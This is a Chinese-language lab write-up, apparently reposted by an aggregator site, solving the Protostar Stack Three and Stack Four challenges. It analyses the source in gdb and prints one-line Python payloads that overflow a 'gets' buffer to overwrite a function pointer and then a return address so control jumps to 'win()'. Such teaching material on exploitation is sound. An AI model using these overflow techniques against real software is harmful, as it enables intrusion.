二进制安全虚拟机Protostar靶场(3)溢出控制程序指针,基础知识讲解 Stack Three,Stack Four

2023-11-06

在这里插入图片描述

前言

这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章

二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO
https://blog.csdn.net/qq_45894840/article/details/129490504?spm=1001.2014.3001.5501
二进制安全虚拟机Protostar靶场(2)基础知识讲解,栈溢出覆盖变量 Stack One,Stack Two
https://blog.csdn.net/qq_45894840/article/details/132688653?spm=1001.2014.3001.5501

Stack Three

程序静态分析

https://exploit.education/protostar/stack-three/

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

源代码分析

这个程序首先定义了一个win函数

void win()
{
  printf("code flow successfully changed\n");
}

调用这个win函数会输出code flow successfully changed,表示我们成功破解了程序

然后在mian函数内定义了一个指针变量fp和字符型变量buffer,buffer存储的字符大小为64位

volatile int (*fp)();
char buffer[64];

什么是指针?

在C语言中,指针是一种特殊的变量类型,它存储了一个内存地址。这个内存地址可以是其他变量或数据结构在内存中的位置

指针提供了直接访问和操作内存中数据的能力。通过指针,我们可以间接地访问、修改和传递数据,从而不需要直接对变量本身进行操作

fp = 0;

将fp的值设为0表示一个无效的指针,即它不指向任何有效的内存地址。这样做可以用来初始化指针变量,或者将指针重置为空指针

之后程序会使用gets函数接收用户的输入,并将接受到的字符串存储在buffer变量里,gets函数是一个危险的函数,他会造成缓冲区溢出,具体的解释可以看我的第一篇文章

程序接受输入后会进行一个if判断

gets(buffer);

if(fp) {
    printf("calling function pointer, jumping to 0x%08x\n", fp);
    fp();
}

if(fp)检查fp是否指向了某个有效的函数。如果fp不为空(即非零),则输出calling function pointer, jumping to 0x%08x,然后执行函数指针 fp 所指向的函数

也就是说,我们需要溢出覆盖fp设置的值,将fp原本的值改为win函数的地址,之后进入if判断后,会执行win函数

汇编分析

使用gdb打开程序,输入指令查看汇编代码

set disassembly-flavor intel
disassemble main

在这里插入图片描述

程序最关键的地方是这两行

在这里插入图片描述

0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:   call   eax

它将esp+0x5c地址的值转移到了eax寄存器里,然后调用call指令执行eax寄存器里的值

也就是说,我们只要将esp+0x5c地址的内容覆盖成win函数的地址,就能成功破解程序

程序动态分析

我们在0x08048471地址处下一个断点

b *0x08048471 

然后设置一下自动运行的命令

define hook-stop
info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

在这里插入图片描述

运行程序,由于if判断,fp的值不能为零才能进入if判断,但是程序设置的fp的值为0,我们先输入一长串的垃圾字符,覆盖原来的值

在这里插入图片描述

查看esp+0x5c地址处的值

x/wx $esp+0x5c

在这里插入图片描述

fp函数指针的值就在图中圈出来的地方,根据计算,我们需要64个字符+win函数地址才能控制fp函数指针

这时候我们可以用objdump工具来查看win函数地址

objdump -x stack3 | grep win

在这里插入图片描述

或者直接使用gdb直接查看win函数就能知道地址

disassemble win

在这里插入图片描述

两个方法都能用

知道了win函数地址后,直接运行以下命令就能破解程序

64个垃圾字符+win函数地址
python -c "print('A'*(4*16)+'\x24\x84\x04\x08')" | ./stack3

在这里插入图片描述

Stack Four

程序静态分析

https://exploit.education/protostar/stack-four/

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

这个程序很简单,就不多做介绍了,和上一个一模一样,只不过将设置的fp函数指针去掉了,我们需要自己控制程序指针进行跳转到win函数地址

直接进行程序动态分析

程序动态分析

使用gdb打开程序,输入指令查看汇编代码

set disassembly-flavor intel
disassemble main

在这里插入图片描述

代码很少,我们要做的只有一件事,控制ret指令的返回地址,让程序跳转到win函数地址执行参数

leave和ret指令

在汇编语言中,ret指令用于从子程序返回到调用它的主程序。当执行到ret指令时,程序会跳转到主代码的地址,继续执行主程序的代码

在汇编语言中,leave指令用于清空栈,它会清除我们这次运行程序时获取的用户输入之类的,还原之前的状态

我们在leave指令的地址下一个断点

b *0x0804841d

运行程序,然后随便输入一些字符,然后查看栈里的内容,记录下来,之后会用到

在这里插入图片描述

然后输入n执行下一个指令,让ret指令执行,输入info registers查看寄存器的值

在这里插入图片描述

当前eip寄存器的值为0xb7eadc76,也就是说,执行了rat指令后,程序回到了0xb7eadc76继续执行之后的命令

但是返回的地址也是在栈中的

在这里插入图片描述

根据计算,我们需要输入76个字符+win函数地址才能覆盖原来ret返回的地址,让程序跳转到win函数地址处执行

python -c "print('A'*76+'\xf4\x83\x04\x08')" | ./stack4

在这里插入图片描述

成功破解

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

二进制安全虚拟机Protostar靶场(3)溢出控制程序指针,基础知识讲解 Stack Three,Stack Four 的相关文章

  • Linux专栏的卷首语

    2023年5月15日 周一早上 昨天我决定为了找工作而开始深入学习Linux 于是今天早上开一个Linux专栏来记录我的学习记录 之前我因为感兴趣曾经学习过一段时间的Linux 之前因为看不到学习Linux的好处而放弃了对Linux的学习
  • 神经网络学习小记录45——Keras常用学习率下降方式汇总

    神经网络学习小记录45 Keras常用学习率下降方式汇总 2020年5月19日更新 前言 为什么要调控学习率 下降方式汇总 1 阶层性下降 2 指数型下降 3 余弦退火衰减 4 余弦退火衰减更新版 2020年5月19日更新 增加了论文中的余
  • JVM性能调优实战

    JVM调优调什么 JVM 调优是一个系统而又复杂的过程 但我们知道 在大多数情况下 我们基本不用去调整 JVM 内存分配 因为一些初始化的参数已经可以保证应用服务正常稳定地工作了 而且一般情况下 就算出现了 也是架构师级别的去处理 实际上
  • c++ to_string、stoi()、atoi()使用

    1 to string 包含在 include
  • SQL连续登录4天及以上的用户

    需求 连续登录4天及以上的用户 有一个表login test 求出连续登录4天及以上的用户 方法一 排序窗口函数 row number select row number over partition by user id order by

随机推荐

  • 探讨linux进程的三种时间(real time, system cpu time, user cpu time)的实现

    APUE 3 9节中关于系统调用read给出了不同大小的缓冲区会导致读取效率的差异 这里stevens用三种时间表示读取文件过程所花费的时间 这三种时间分别为真实 时钟时间 real clock time 系统cpu时间 system cp
  • 前端知识学习

    以下是一个使用Angular 13实现的示例代码 实现了当div出现滚动条时给div底部加上阴影效果 并随着滚动条的拖动保留阴影效果 当滚动条拉到最后时 阴影效果消失 首先 在你的组件的HTML模板中添加以下代码 div class con
  • 最适合初学者使用的react框架—UMI.js

    介绍 最近接触到了一个新的react框架 大大省略了我开发的时间 而且学起来和上手都挺容易的 但论坛上关于这个框架的介绍并不多 我就大概介绍一下这个框架并写一些使用心得 1 什么是umi 它是由dva的开发者云谦编写的一个新的React开发
  • 以太坊存储分析(整合)

    分析背景及概述 更加深入地了解以太坊的内部存储机制 更好地实现自己的区块链 存储是一个不能缺少的模块 但是存储又不是单一的数据保存 它涉及到了以太坊核心的编码 数据结构 中间还有缓存的部分 最后才通过leveldb 一种key value数
  • 若依tab权限问题

    普通的按钮直接用v hasPermi就可以了 但是这个有个问题 这个东西相当于v show 而像el tab pane就需要v if才能把标签头隐藏 所以需要以下代码 v if checkPermi xxx xxx xxx import c
  • Leetcode算法题:旋转数组问题(全)总结 思路+题解+代码

    旋转数组问题总结 标签 二分查找 翻转数组 笔者在刷LeetCode时多次遇到旋转数组问题 将其各类问题加以总结 从简入深整理出关于旋转数组的全部问题题解思路和代码 希望对读者有所帮助 题目 189 旋转数组 给定一个数组 将数组中的元素向
  • RuoYi -- 字典的前端调用

    前言 记录时间 2022 5 18 内容 字典可以实现枚举联动 前端怎么写去调用呢 我参考company之前项目里的 联赛赛事管理 部分 整理如下 主要包含html js的更新 备注 由于记录时并非边操作边记录 而是抽取往期代码加上自己的理
  • qt之页面布局

    QTlayout概述 Qt的布局管理系统提供了强大的机制来自动排列窗口中的所有部件 确保它们有效地使用空间 Qt包含了一组布局管理类 从而在应用程序的用户界面中对部件进行布局 比如QLayout的几个子类 这里将它们称作布局管理器 所有QW
  • 变差函数拟合(球状、指数、高斯)例题分析matlab

    解决问题的代码 学习笔记 clear clc n 20 h 0 2 f x 1 3 exp 2 x x linspace 0 n h n 第一问 y0 f x 原数据 y f x 0 1 rand size x 加入高斯噪音的数据 Exva
  • 解决报错:Cannot read properties of undefined (reading read ) at FileReader.reader.onload

    当我们使用xlsx插件实现excel导入功能时发现控制台报错 Cannot read properties of undefined reading read at FileReader reader onload 查询后发现是xlsx版本
  • 接口多实现类的动态调用

    一个接口在不同场景 需要有不同的实现类 实现动态调用 定义接口 创建接口实现类 定义支付方式接口 支付方式接口 public interface PaymentService 扫码支付 param transaction return th
  • python 执行js 提示window未定义_execjs执行js出现window对象未定义时的解决

    最近在开始学习js逆向 里面很重要的一个方法就是把js代码扣下来用python模拟执行 但是发现js里面有window对象时用execjs执行 当使用node js环境时会出现window对象未定义的情况 记录下在网上找到的解决方案 1 当
  • 程序员是如何思考的?

    1975 年 弗雷德里克 布鲁克斯 Frederick Brooks 出版了软件行业的名著 人月神话 他给出了一个统计结果 优秀程序员的开发效率是普通程序员的 10 倍 40 多年过去了 这个数字得到了行业的普遍认同 成为优秀程序员是很多程
  • 分析常见数据结构在内存中的存储形式

    本文会在x64dbg中分析vector list map的内存存储特点 目录 分析vector在内存中的存储形式 x32dbg分析vector数组 总结一下vector的内存布局 分析 list 在内存中的存储形式 x32dbg分析 lis
  • 349. Intersection of Two Arrays

    class Solution public vector
  • 微信小程序 禁止ios页面下拉下滑滚动 出现空白的情况

    项目需要做了一个图片拖动指定组件上删除 和排序的功能android测试正常 ios会出现拖动图片页面也跟着下滑的尴尬情况 查文档下拉刷新配置默认是关闭的 后经查找文档发现在本页面page json 配置项可通过 disableScroll
  • 最好的英文词典

    辞典对于学外语的作用 怎么强调也不过分 经常接触英语的人都知道 遇到生词不可怕 可怕的是遇到认识的单词 又不明白这句话什么意思 这个时候 辞典的作用就发挥出来了 今天一位朋友问我一句英文的意思 这是纽约时报关于作家塞林格的一个标题 Stil
  • MySQLdb._exceptions.OperationalError: (1045, “Access denied for user ‘root‘@‘localhost‘ (using passw

    migrate数据到数据库时遇到的错误 MySQLdb exceptions OperationalError 1045 Access denied for user root localhost using password NO 解决方
  • Vscode配置C/C++环境

    2022年9月20日测试配置环境 运行情况良好 第一篇文章 不足之处 敬请海涵 借鉴了一些大神的分享VSCode配置C C 环境 知乎 里面有一些详细的安装教程 我就直接省去了安装的步骤 1 官网下载Vscode 一直点击下一步 直到安装在
  • 二进制安全虚拟机Protostar靶场(3)溢出控制程序指针,基础知识讲解 Stack Three,Stack Four

    前言 这是一个系列文章 之前已经介绍过一些二进制安全的基础知识 这里就不过多重复提及 不熟悉的同学可以去看看我之前写的文章 二进制安全虚拟机Protostar靶场 安装 基础知识讲解 破解STACK ZERO https blog csdn